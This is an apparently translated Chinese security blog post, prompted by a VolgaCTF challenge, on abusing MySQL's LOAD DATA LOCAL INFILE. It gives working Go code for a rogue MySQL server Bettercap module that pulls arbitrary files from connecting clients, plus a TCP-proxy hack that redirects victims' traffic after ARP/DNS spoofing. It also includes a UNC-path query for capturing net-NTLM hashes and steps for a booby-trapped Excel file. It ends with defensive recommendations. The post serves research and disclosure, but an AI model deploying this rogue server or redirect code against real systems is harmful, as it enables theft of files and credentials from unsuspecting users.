如何利用MySQL LOCAL INFILE读取客户端文件

 

一、前言

最近一段时间,我忙着跟TheGoonies小伙伴们参加VolgaCTF 2018 CTF比赛。其中有一道非常有趣的Web挑战题,我们没有在比赛中顺利解开。第二天我阅读了这道题的write-up,学到了一种非常酷的技术,可以通过LOAD DATA INFILE语句直接攻击MySQL客户端。

Corp Monitoring”任务中包含一个Corporate Monitoring API,可以验证某个服务器的FTP、Web以及MySQL服务是否在线,以测试指定的某个服务器的健康状态。连接MySQL的用户存在限制条件,我们可以根据某些查询语句(比如SHOW DATABASE命令)来检查该服务的健康状态。

解决这个挑战的关键在于确定Can Use LOAD DATA LOCAL客户端的功能,将API指向一个恶意MySQL服务器,通过LOAD DATA INFILE语句读取客户端上的任意文件。

读完write-up后,我决定检查哪些库、客户端以及Web框架可以利用这个技术。此外,我还编写了一个Bettercap模块,可以配合MITM攻击方法来滥用这个功能。

二、已有研究成果

在开始介绍之前,我得跟大家说明这并不是一项新的技术:这是MySQL客户端的一种已知技术,并且已经有了相关文档。我收集了先前的一些文章、工具以及演示文档,但这些资料都使用俄语编写,貌似大家并不是特别了解这些技术。

我收集的资料如下:

三、回顾MySQL LOAD DATA INFILE

根据MySQL的官方文档,连接握手阶段中会执行如下操作:

  • 客户端和服务端交换各自功能
  • 如果需要则创建SSL通信通道
  • 服务端认证客户端身份

身份认证通过后,客户端会在实际操作之前发送请求,等待服务器的响应。“Client Capabilities”报文中包括名为Can Use LOAD DATA LOCAL的一个条目:

从现在起事情变得有趣起来。一旦客户端启用了这个功能(比如通过--enable-local-infile标志),文件就可以从运行MySQL客户端的那台主机中读取并传输到远程服务器上。

MySQL协议中比较特别的一点就是客户端并不会去记录已请求的命令,而是根据服务器的响应来执行查询。

这意味着恶意MySQL服务器可以模拟初始握手过程,等待SQL语句数据包,忽略这个数据包然后响应一个LOCAL DATA INFILE请求。是不是觉得非常酷?

为了利用这个功能,客户端至少还需要向我们的恶意MySQL服务器发出一个查询请求。幸运的是,大多数MySQL客户端以及程序库都会在握手之后至少发送一次请求,以探测目标平台的指纹信息,比如(select @@version_comment limit 1)。

由于大多数MySQL客户端并没有强制使用加密,因此我们很容易就可以使用类似Bettercap之类的工具来模拟一个MySQL服务器。客户端并不关心通信的完整性以及真实性。

 

四、MITM + Bettercap + 恶意MySQL服务器

Bettercap就像是网络攻击以及监控的瑞士军刀。该工具支持多种模块,比如ARP/DNS欺骗、TCP以及数据包代理等。我快速查看了该工具中模块的工作原理,构造了一个比较简单的MySQL服务器,可以滥用LOAD DATA LOCAL INFILE功能来读取客户端文件。

首先,当客户端连接并请求读取LOCAL INFILE时,我嗅探了该过程的MySQL流量。我将服务器的响应数据以字节数组形式导出,使用Go语言代码定义了一些组件:

MySQLGreeting := []byte{
    0x5b, 0x00, 0x00, 0x00, 0x0a, 0x35, 0x2e, 0x36,
    0x2e, 0x32, 0x38, 0x2d, 0x30, 0x75, 0x62, 0x75,
    0x6e, 0x74, 0x75, 0x30, 0x2e, 0x31, 0x34, 0x2e,
    0x30, 0x34, 0x2e, 0x31, 0x00, 0x2d, 0x00, 0x00,
    0x00, 0x40, 0x3f, 0x59, 0x26, 0x4b, 0x2b, 0x34,
    0x60, 0x00, 0xff, 0xf7, 0x08, 0x02, 0x00, 0x7f,
    0x80, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x68, 0x69, 0x59, 0x5f,
    0x52, 0x5f, 0x63, 0x55, 0x60, 0x64, 0x53, 0x52,
    0x00, 0x6d, 0x79, 0x73, 0x71, 0x6c, 0x5f, 0x6e,
    0x61, 0x74, 0x69, 0x76, 0x65, 0x5f, 0x70, 0x61,
    0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x00,
}
FirstResponseOK := []byte{
    0x07, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02,
    0x00, 0x00, 0x00,
}

FileNameLength := byte(len(mysql.infile) + 1)
GetFile := []byte{
    FileNameLength, 0x00, 0x00, 0x01, 0xfb,
}
GetFile = append(GetFile, mysql.infile...)

SecondResponseOK := []byte{
    0x07, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x02,
    0x00, 0x00, 0x00,
}

编写Bettercap模块非常简单,恶意MySQL服务器的关键代码如下所示:

for mysql.Running() {

    // tcp listener
    conn, err := mysql.listener.AcceptTCP()
    if err != nil {
        log.Warning("Error while accepting TCP connection: %s", err)
        continue
    }

    // send the mysql greeting
    conn.Write([]byte(MySQLGreeting))

    // read the incoming responses and retrieve infile
    // TODO: include binary support and files > 16kb
    b := make([]byte, 16384)
    bufio.NewReader(conn).Read(b)

    // parse client capabilities and validate connection
    // TODO: parse mysql connections properly and
    //       display additional connection attributes
    clientCapabilities := fmt.Sprintf("%08b", (int(uint32(b[4]) | uint32(b[5])<<8)))
    if len(clientCapabilities) == 16 {
    remoteAddress := strings.Split(conn.RemoteAddr().String(), ":")[0]
    log.Info("MySQL connection from: %s", remoteAddress)
    loadData := string(clientCapabilities[8])
    log.Info("Can Use LOAD DATA LOCAL: %s", loadData)
    username := bytes.Split(b[36:], []byte{0})[0]
    log.Info("MySQL Login Request Username: %s", username)

    // send initial responseOK
    conn.Write([]byte(FirstResponseOK))
    bufio.NewReader(conn).Read(b)
    conn.Write([]byte(GetFile))
    infileLen, err := bufio.NewReader(conn).Read(b)
    if err != nil {
        log.Warning("Error while reading buffer: %s", err)
        continue
    }

    // check if the infile is an UNC path
    if strings.HasPrefix(mysql.infile, "\") {
        log.Info("NTLM from '%s' relayed to %s", remoteAddress, mysql.infile)
    } else {
        // print the infile content, ignore mysql protocol headers
        // TODO: include binary support and output to a file
        log.Info("Retrieving '%s' from %s (%d bytes)n%s", mysql.infile, remoteAddress, infileLen-9, string(b)[4:infileLen-4])
    }

    // send additional response
    conn.Write([]byte(SecondResponseOK))
    bufio.NewReader(conn).Read(b)

    }
    defer conn.Close()
    (...)

模块的执行效果如下所示:

模块包含如下选项:

值得一提的是,INFILE格式同样支持UNC路径,如果我们的恶意MySQL服务器运行在Windows系统上,我们还有可能使用如下查询语句获取net-NTLM哈希值:

LOAD DATA LOCAL INFILE '\\172.16.136.153\test' into table mysql.test FIELDS TERMINATED BY "n";

演示该技术的示例视频如下所示:

http://v.youku.com/v_show/id_XMzU2NDczNDYyMA==.html

如果我们在网络中有较高权限,可以执行DNS或者ARP欺骗攻击,那么我们还可以将MySQL流量从合法的数据库重定向到我们自己的恶意服务器,然后再读取客户端上的任意文件。

目前就我所知,单单使用Bettercap时我们无法简单地将TCP流量从主机A重定向到主机B。我稍微修改了tcp_proxy.go源码,这样就能处理这种情况:

func (p *TcpProxy) handleConnection(c *net.TCPConn) {
    defer c.Close()

    log.Info("TCP proxy got a connection from %s", c.RemoteAddr().String())

    /////////////////////////////////////////////////////////
    // Quick hack to redirect TCP traffic to our rogue server
    redirAddress := "192.168.1.124"
    redirPort := 3306
    p.remoteAddr, _ = net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:%d", redirAddress, redirPort))
    // end of hack
    /////////////////////////////////////////////////////////

    remote, err := net.DialTCP("tcp", nil, p.remoteAddr)
    if err != nil {
        log.Warning("Error while connecting to remote %s: %s", p.remoteAddr.String(), err)
        return
    }
    defer remote.Close()

    wg := sync.WaitGroup{}
    wg.Add(2)

    // start pipeing
    go p.doPipe(c.RemoteAddr(), p.remoteAddr, c, remote, &wg)
    go p.doPipe(p.remoteAddr, c.RemoteAddr(), remote, c, &wg)

    wg.Wait()
}

ARP欺骗以及MySQL LOAD DATA LOCAL INFILE的实际效果如以下视频所示:

http://v.youku.com/v_show/id_XMzU2NDc0ODc2NA==.html

我向该项目发起了一个pull请求,添加MySQL恶意服务器功能,希望@evilsocket能接受该请求。如果pull请求被接受,我还想询问他们转发TCP流量的最好方式(是否可以使用另一个模块或者设置TCP代理选项)。一旦官方给出解决方案,我会及时更新这篇文章。

 

五、MySQL命令行客户端

通过Homebrew/macOS安装的mysql客户端(mysql: stable 5.7.21, devel 8.0.4-rc)正确处理了LOCAL-INFILE标志,除非我们显式启用该标志,否则无法读取客户端文件:

处于某种原因,某些客户端(如Ubuntu默认的mysql-client,本文撰写时版本号为5.7.21-0ubuntu0.17.10.1)会在连接过程中自动设置这个标志:

Windows上MySQL Workbench绑定的客户端同样存在这种情况,我们不需要启用这个标志就能读取本地文件:

 

六、滥用Web框架读取服务器文件

某些程序库、Web框架以及MySQL connectors(连接器)中同样默认存在这种不安全行为:这些目标中大多数会默认启用LOCAL-INFILE标志。在这种情况下,当某个Web用户修改包含MySQL主机的一个表单(form),将其指向恶意服务器时,他就可以读取系统上的本地文件。

这个功能在Monitor类或者Dashboard类应用以及框架的安装脚本中非常常见,用户可以使用该功能,通过管理员面板及时设置数据库。

好消息是,大多数Web应用会做些限制,只有管理员用户才能修改MySQL设置。坏消息是,我们的管理员账户很容易会被XSS/CSRF/点击劫持攻击利用。我快速调研了可以滥用的某些PHP框架,整体情况如下:

Joomla v3.8.7

WordPress v4.9.5

Zabbix v3.4.8

Drupal v8.5.2(不受影响)

 

七、滥用Excel MySQL Connector

如果我们在Windows主机上安装了Microsoft Office以及MySQL Connector/Net,就有可能创建连接到MySQL恶意服务器的一个电子表格。安装Windows MySQL installer时默认会安装connector,如果我们使用某款工具连接或者管理MySQL数据库,或者主机上正在运行MySQL服务器时,很有可能已经安装了这个工具。

为了创建能连接到MySQL服务器的一个文档,我们需要转到Data标签页,选择New Query>From Database>From MySQL Database。输入服务器信息、用户名、密码、查询语句然后保存文件即可。

如果用户从互联网上下载文件,那么需要启用文档的编辑模式才能与远程服务器交互。因为某些原因,我们需要关闭然后重新打开Excel,才能让查询语句生效。此外,Excel只会在第一次打开文件时显示安全警告信息,当用户启用外部内容时不会再提示这个信息。演示视频如下:

http://v.youku.com/v_show/id_XMzU2NDgzNzQ3Mg==.html

八、总结

虽然Duo Security之前披露了BACKRONYM MySQL漏洞,但貌似这样并没有促使人们在连接MySQL服务器时强制使用正确的加密机制。Web应用以及框架很少支持MySQL连接的加密以及TLS验证功能。未加密的协议本身并不安全,只需要提供密码散列以及成功的认证握手过程,任何人都可以成功登录服务器。

在默认情况下,MySQL库以及connectors应当使用安全模式,禁用LOCAL-INFILE支持。我非常喜欢Go MySQL Driver的处理方式:它通过白名单机制支持LOCAL-INFILE,并且官方文档中明确指出这个功能“可能并不安全”。

蜜罐以及漏洞扫描器也可以滥用这个功能‘,如果扫描器扫描你的MySQL主机时,可以使用这个功能黑掉你的安全工具,这将是非常有趣的一件事情。如果应用程序注册了MySQL URI处理函数,那么我们的系统很有可能因为某个网站链接就城门大开。

滥用MySQL客户端的另一种有趣的方法就是降级(downgrade)攻击,攻击者可以将目标切换成较老的、带有不安全密码认证机制的版本,然后验证目标的工作方式。但这属于另一个话题,不再赘述。

(完)